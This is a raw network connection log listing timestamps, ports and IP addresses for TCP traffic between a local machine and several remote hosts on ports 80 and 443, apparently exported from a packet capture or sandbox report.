Oct 6, 2024 22:33:24.312587023 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312611103 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312638998 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312654018 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312654972 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312688112 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312705040 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312726021 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312738895 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312747002 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312751055 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312764883 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312777042 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312778950 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312789917 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312800884 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312809944 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312836885 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312855005 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312871933 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312881947 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312891960 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312901020 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312906027 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312920094 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312925100 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312931061 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312942028 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312947035 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312952995 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312967062 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312980890 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313002110 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313071966 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313083887 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313100100 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313105106 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313111067 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313121080 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313146114 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313203096 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313213110 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313222885 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313234091 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313237906 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313246012 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313256025 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313273907 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313292027 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313298941 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313309908 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313339949 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313345909 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313350916 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313360929 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313360929 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313384056 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313400984 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313458920 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313469887 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313479900 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313491106 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313498020 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313500881 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313513994 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313525915 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313536882 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313551903 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313605070 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313616037 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313626051 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313637018 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313640118 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313648939 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313658953 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313663006 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313684940 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313689947 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313699007 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313700914 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313710928 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313719034 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313723087 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313735008 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313746929 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313746929 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313759089 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313775063 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313798904 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313868999 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313909054 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313914061 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313920975 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313949108 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313967943 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.313980103 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.313991070 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314001083 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314012051 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314013958 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.314033985 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.314048052 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.314112902 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314126968 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314137936 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314148903 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314148903 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.314162016 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314168930 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.314173937 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314183950 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.314186096 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.314213991 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.314222097 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402157068 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402172089 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402182102 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402228117 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402230978 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402241945 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402251959 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402252913 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402264118 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402271032 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402283907 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402288914 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402296066 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402301073 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402307987 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402324915 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402364969 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402395964 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402406931 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402416945 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402429104 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402439117 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402446032 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402448893 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402461052 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402470112 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402489901 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402493954 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402504921 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402506113 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402514935 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402530909 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402554035 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402594090 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402605057 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402614117 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402641058 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402651072 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402715921 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402730942 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402740955 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402751923 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402757883 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402762890 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402772903 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402776003 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402785063 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402796984 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402807951 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402828932 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402836084 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402841091 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402873993 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.402959108 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402970076 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402978897 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.402988911 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403006077 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403007984 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403017998 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403024912 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403031111 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403040886 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403054953 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403072119 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403094053 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403105021 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403114080 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403124094 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403135061 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403136969 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403146982 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403151989 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403160095 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403176069 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403198004 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403234959 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403245926 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403254986 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403266907 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403279066 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403280020 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403290987 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403316021 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403367996 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403378963 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403393030 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.403403997 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.403430939 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.515840054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:24.520606995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:24.565129042 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.567044020 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.567053080 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.567533970 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.567538023 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.571101904 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.571358919 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.571374893 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.571759939 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.571763992 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.663789988 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.663954973 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.664011955 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.664016008 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.664060116 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.664294958 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.664307117 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.667604923 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.667640924 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.667701006 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.667865038 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.667874098 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.672713041 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.672780037 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.672835112 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.672955990 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.672970057 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.673010111 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.673016071 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.675143957 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.675185919 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.675251961 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.675405979 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.675420046 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.685307980 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.685787916 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.685815096 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.686285973 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.686292887 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.757515907 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:24.757555962 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:24.757648945 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:24.760612965 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:24.760627031 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:24.794394970 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.794543028 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.794626951 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.794708014 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.794754028 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.794785976 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.794801950 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.797194958 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.797207117 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.797280073 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.797409058 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.797419071 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.805196047 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.805521965 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.805542946 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.805942059 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.805953979 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.844532013 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.844875097 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.844887972 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.845221996 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.845227003 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.908727884 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.908786058 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.908852100 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.908976078 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.908976078 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.908993959 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.909013987 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.911251068 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.911345005 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.911437035 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.911521912 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.911550999 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.949307919 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.949523926 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.949568033 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.949640989 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.949655056 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.949666977 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.949672937 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.951431990 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.951487064 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.951594114 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.951792955 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.951826096 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.308191061 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.308820963 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.308837891 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.309487104 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.309493065 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.333931923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:25.334022999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:25.335119009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:25.340545893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:25.351239920 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.351701021 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.351735115 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.352089882 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.352102995 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.406578064 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.406677008 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.406780958 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.406794071 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.406888008 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.406888008 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.406908035 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.406920910 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.409420967 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.409487009 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.409630060 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.409764051 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.409800053 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.414514065 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.414588928 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.417112112 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.417124987 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.417334080 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.455560923 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.456432104 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.456779003 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.456862926 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.457139015 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.457160950 CEST	443	49851	13.107.246.45	192.168.2.4
